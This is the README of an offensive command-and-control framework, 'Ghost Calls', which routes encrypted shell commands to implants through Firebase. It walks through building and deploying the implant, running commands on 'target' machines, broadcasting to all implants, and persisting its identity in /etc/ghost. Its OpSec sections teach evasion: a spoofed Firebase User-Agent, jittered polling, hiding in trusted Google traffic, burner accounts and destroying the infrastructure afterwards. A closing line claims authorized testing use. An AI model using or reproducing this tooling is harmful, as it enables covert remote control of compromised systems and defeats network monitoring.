294 lines
10 KiB
Markdown
294 lines
10 KiB
Markdown
# Ghost Calls — Push Notification C2
|
|
|
|
**Ghost Calls** is a Command & Control (C2) framework that uses **Firebase Cloud Messaging (FCM)** and **Firebase Realtime Database** as command delivery channels. Commands are delivered through legitimate Firebase infrastructure — traffic goes to `firebaseio.com` and `googleapis.com`, domains that billions of devices talk to daily.
|
|
|
|
## Architecture
|
|
|
|
```
|
|
┌─────────────┐ ┌────────────────────────────┐ ┌─────────────┐
|
|
│ Operator │──────▶│ Firebase Realtime DB │◀──────│ Implant │
|
|
│ (Server) │ │ (Dead-drop / PubSub) │ │ (Client) │
|
|
└─────────────┘ └────────────────────────────┘ └─────────────┘
|
|
│ │ │
|
|
│ HTTPS PUT │ REST API │ HTTPS GET
|
|
│ commands/<id>.json │ (over HTTPS) │ commands/<id>.json
|
|
│ │ │
|
|
│ │ │
|
|
│ HTTPS GET │ │ HTTPS PUT
|
|
│ results/<id>.json │ │ results/<id>/<cmd>.json
|
|
│ │ │
|
|
│ (Optional) │ │ DELETE
|
|
│ FCM HTTP v1 API │ │ commands/<id>.json
|
|
└────▶ FCM Send ─────────▶ Push notification ─────────────┘
|
|
```
|
|
|
|
### How It Works
|
|
|
|
1. **Command Injection** — The operator writes an encrypted command to the Firebase Realtime Database at `commands/<implant-id>.json`
|
|
2. **Polling** — The implant periodically reads its command path over HTTPS
|
|
3. **Execution** — The implant decrypts and executes the command via `/bin/sh -c` (or `cmd.exe /C` on Windows)
|
|
4. **Exfiltration** — The implant encrypts the output and writes it to `results/<implant-id>/<command-id>.json`
|
|
5. **Cleanup** — The implant deletes the command from Firebase, signaling it's been processed
|
|
6. **Collection** — The operator fetches results from `results/<implant-id>/` at any time
|
|
|
|
### Why Firebase?
|
|
|
|
| Feature | Benefit |
|
|
|---|---|
|
|
| **Domain reputation** | `firebaseio.com`, `googleapis.com` — billions of legitimate requests daily |
|
|
| **TLS by default** | All traffic is HTTPS, indistinguishable from legitimate Firebase SDK traffic |
|
|
| **No custom server** | Your C2 infrastructure is Firebase's infrastructure |
|
|
| **WebSocket fallback** | RTDB uses WebSockets when available — looks like normal Firebase sync |
|
|
| **Global CDN** | Low-latency from anywhere |
|
|
| **Free tier** | 1GB stored, 10GB/month download — plenty for a C2 operation |
|
|
|
|
## Quick Start
|
|
|
|
### 1. Prerequisites
|
|
|
|
- Go 1.21+ (for building)
|
|
- A Firebase project (see [FIREBASE_SETUP.md](FIREBASE_SETUP.md) for detailed instructions)
|
|
- The Firebase Realtime Database URL (looks like `https://my-project-default-rtdb.firebaseio.com`)
|
|
- A shared encryption secret (the `GHOST_SECRET`)
|
|
|
|
### 2. Build
|
|
|
|
```bash
|
|
# Build the server (operator console)
|
|
cd cmd/server
|
|
go build -o ../../bin/ghost-server .
|
|
|
|
# Build the client (implant)
|
|
cd cmd/client
|
|
go build -o ../../bin/ghost-client .
|
|
```
|
|
|
|
Or build everything at once:
|
|
|
|
```bash
|
|
mkdir -p bin
|
|
go build -o bin/ghost-server ./cmd/server
|
|
go build -o bin/ghost-client ./cmd/client
|
|
```
|
|
|
|
### 3. Configure Firebase
|
|
|
|
Set your database rules to allow read/write:
|
|
|
|
```json
|
|
{
|
|
"rules": {
|
|
".read": true,
|
|
".write": true
|
|
}
|
|
}
|
|
```
|
|
|
|
> **Warning:** Wide-open rules are for testing only. For production, use Firebase Authentication or custom tokens. See the OpSec section below.
|
|
|
|
### 4. Start the Server
|
|
|
|
```bash
|
|
export FIREBASE_URL="https://my-project-default-rtdb.firebaseio.com"
|
|
export GHOST_SECRET="your-very-secret-key-change-this"
|
|
export GHOST_PORT="9090"
|
|
|
|
./bin/ghost-server
|
|
```
|
|
|
|
### 5. Deploy an Implant
|
|
|
|
```bash
|
|
./bin/ghost-client \
|
|
--project "my-project" \
|
|
--id "target-001" \
|
|
--secret "your-very-secret-key-change-this" \
|
|
--interval 30s \
|
|
--jitter 15s
|
|
```
|
|
|
|
### 6. Register and Send Commands
|
|
|
|
From the server console:
|
|
|
|
```
|
|
ghost> register target-001
|
|
[+] Registered implant target-001
|
|
ghost> list
|
|
ID FCM Token Last Seen
|
|
─────────────────────────────────────────────────────────────────────────
|
|
target-001 - 2026-05-11T22:00:00Z
|
|
ghost> exec target-001 uname -a
|
|
ghost> exec target-001 whoami
|
|
ghost> exec target-001 curl -s http://internal-service.local/status
|
|
ghost> results target-001
|
|
```
|
|
|
|
## Server Commands
|
|
|
|
| Command | Description |
|
|
|---|---|
|
|
| `register <id> [fcm_token]` | Register an implant (optionally with FCM token) |
|
|
| `exec <id> <command>` | Send a command to a specific implant |
|
|
| `broadcast <command>` | Send command to all registered implants |
|
|
| `list` | List all registered implants with metadata |
|
|
| `results <id>` | Fetch and display results from an implant |
|
|
| `forget <id>` | Remove an implant registration |
|
|
| `status` | Display server configuration and overview |
|
|
| `push <id> <json>` | Send raw FCM push payload (for testing) |
|
|
| `help` | Display help |
|
|
| `exit` | Shut down the server |
|
|
|
|
## Client Flags
|
|
|
|
| Flag | Default | Description |
|
|
|---|---|---|
|
|
| `--project` | — | Firebase project ID (e.g., `my-project`) |
|
|
| `--db-url` | — | Full Firebase RTDB URL (overrides `--project`) |
|
|
| `--id` | — | **Required.** Unique implant identifier |
|
|
| `--secret` | — | **Required.** Encryption secret (must match server) |
|
|
| `--interval` | `30s` | Base poll interval |
|
|
| `--jitter` | `15s` | Max random jitter added to each poll |
|
|
| `--verbose` | `false` | Enable verbose logging |
|
|
|
|
### Persistence
|
|
|
|
The implant writes its identity to `/etc/ghost/id` and secret to `/etc/ghost/secret` on first run. On subsequent runs, if `--id` is omitted, it reads from `/etc/ghost/id`. This allows pre-provisioning the implant by writing these files.
|
|
|
|
## Encryption
|
|
|
|
All command data is **encrypted at rest** in Firebase using **AES-256-GCM** before it ever leaves the server.
|
|
|
|
### Key Derivation
|
|
|
|
```
|
|
key = SHA-256(implant_id + ":" + server_secret)
|
|
```
|
|
|
|
- Each implant gets a **unique encryption key** derived from its ID + the shared server secret
|
|
- If an implant is compromised, only that implant's key is recoverable (assuming the server secret stays safe)
|
|
- The server secret itself is never stored in Firebase
|
|
|
|
### Encryption Flow
|
|
|
|
```
|
|
Server:
|
|
1. Derive key from implant ID + GHOST_SECRET
|
|
2. Encrypt command with AES-256-GCM (random nonce prepended)
|
|
3. Base64-encode ciphertext
|
|
4. Write to Firebase: { "cmd": "<base64>", "id": "<uuid>", "ts": <ms> }
|
|
|
|
Implant:
|
|
1. Read from Firebase
|
|
2. Base64-decode ciphertext
|
|
3. Derive same key from implant ID + secret
|
|
4. Decrypt with AES-256-GCM
|
|
5. Execute command
|
|
|
|
Result encryption follows the same pattern (encrypted with the same derived key).
|
|
```
|
|
|
|
## OpSec Notes
|
|
|
|
### Traffic Analysis
|
|
|
|
- **All traffic is HTTPS** to `firebaseio.com` — indistinguishable from legitimate Firebase SDK traffic
|
|
- The implant uses a `User-Agent: Firebase/8.10.0 (Android; Google; SDK)` header to blend in
|
|
- Poll intervals with random jitter (±15s by default) avoid deterministic timing fingerprints
|
|
- `DisableKeepAlives: true` prevents persistent connections that could be fingerprinted
|
|
|
|
### Database Rules
|
|
|
|
**Development** (open to all):
|
|
```json
|
|
{
|
|
"rules": {
|
|
".read": true,
|
|
".write": true
|
|
}
|
|
}
|
|
```
|
|
|
|
**Production** (with Firebase Auth):
|
|
```json
|
|
{
|
|
"rules": {
|
|
"commands": {
|
|
"$implant_id": {
|
|
".read": "auth != null",
|
|
".write": "auth != null"
|
|
}
|
|
},
|
|
"results": {
|
|
"$implant_id": {
|
|
".read": "auth != null",
|
|
".write": "auth != null"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
|
|
**Locked down** (custom auth token required):
|
|
```json
|
|
{
|
|
"rules": {
|
|
"commands": {
|
|
"$implant_id": {
|
|
".read": "auth.uid === $implant_id",
|
|
".write": "auth.uid === 'server'"
|
|
}
|
|
},
|
|
"results": {
|
|
"$implant_id": {
|
|
".read": "auth.uid === 'server'",
|
|
".write": "auth.uid === $implant_id"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
|
|
### Encryption at Rest
|
|
|
|
- Commands are **always encrypted** before being written to Firebase
|
|
- The Firebase database never sees plaintext command data
|
|
- Even with database admin access, an adversary sees only base64 ciphertext
|
|
- **Never** use the server secret in the database rules or command payloads
|
|
|
|
### Rate Limiting
|
|
|
|
- Firebase Realtime Database has rate limits: roughly 200 simultaneous connections, 10MB/min write, 10K/min writes per project (free tier)
|
|
- Implants should use jittered intervals of 30s+ to avoid triggering rate limits
|
|
- For large deployments, consider staggering implant start times
|
|
- Upgrade to Blaze plan for higher limits in production operations
|
|
|
|
### Operational Security
|
|
|
|
1. **Use a burner Google account** to create the Firebase project — never link to personal accounts
|
|
2. **Enable Firebase Auth** with email/password or custom tokens for production use
|
|
3. **Rotate the GHOST_SECRET** between operations
|
|
4. **Use unique implant IDs** — never reuse across targets
|
|
5. **Consider using Firebase App Check** for additional verification
|
|
6. **Delete the Firebase project entirely** after the operation
|
|
|
|
## FCM Integration (Advanced)
|
|
|
|
The current implementation uses the Realtime Database as a dead-drop mechanism. For push-based command delivery (instant delivery without polling), you need:
|
|
|
|
1. Enable Firebase Cloud Messaging in your Firebase project
|
|
2. An Android app (or a device with FCM capability) on the target
|
|
3. The implant registers for FCM and sends its registration token to the server
|
|
4. The server uses the FCM HTTP v1 API to push commands directly to the device
|
|
|
|
An FCM push-based approach is more sophisticated and harder to detect, but requires:
|
|
- More complex implant code (FCM SDK or manual HTTP/2 push handling)
|
|
- An Android/iOS runtime or a way to register for push notifications
|
|
- Higher OpSec requirements (Google Play Services integration)
|
|
|
|
The RTDB dead-drop approach achieves the same goal with less complexity and broader platform support.
|
|
|
|
## DISCLAIMER
|
|
|
|
For authorized Security Testing or Educational Purposes only.
|